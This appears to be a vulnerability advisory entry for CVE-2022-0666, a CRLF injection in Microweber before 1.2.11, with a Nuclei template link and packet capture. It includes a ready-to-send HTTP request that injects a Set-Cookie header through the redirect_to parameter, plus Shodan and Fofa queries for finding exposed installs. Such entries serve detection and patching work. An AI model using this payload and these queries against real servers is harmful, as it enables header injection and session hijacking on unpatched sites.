| Title | Microweber < 1.2.11 - CRLF Injection |
|---|---|
| Author | ritikchaddha |
| Severity | High |
| Impact | Attackers can inject CRLF sequences via the redirect_to parameter to set arbitrary cookies or inject additional HTTP headers, potentially facilitating session hijacking or cache poisoning attacks. |
| Remediation | Upgrade to Microweber version 1.2.11 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.28901 |
| CVE ID | CVE-2022-0666 |
| CWE ID | CWE-93 |
| Shodan Query | http.favicon.hash:780351152http.html:"microweber" |
| Fofa Query | icon_hash=780351152body="microweber" |
| Tags | cve huntr crlf microweber cve2022 vuln |
CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.
GET /api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0666.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0666.pcap
N/AN/A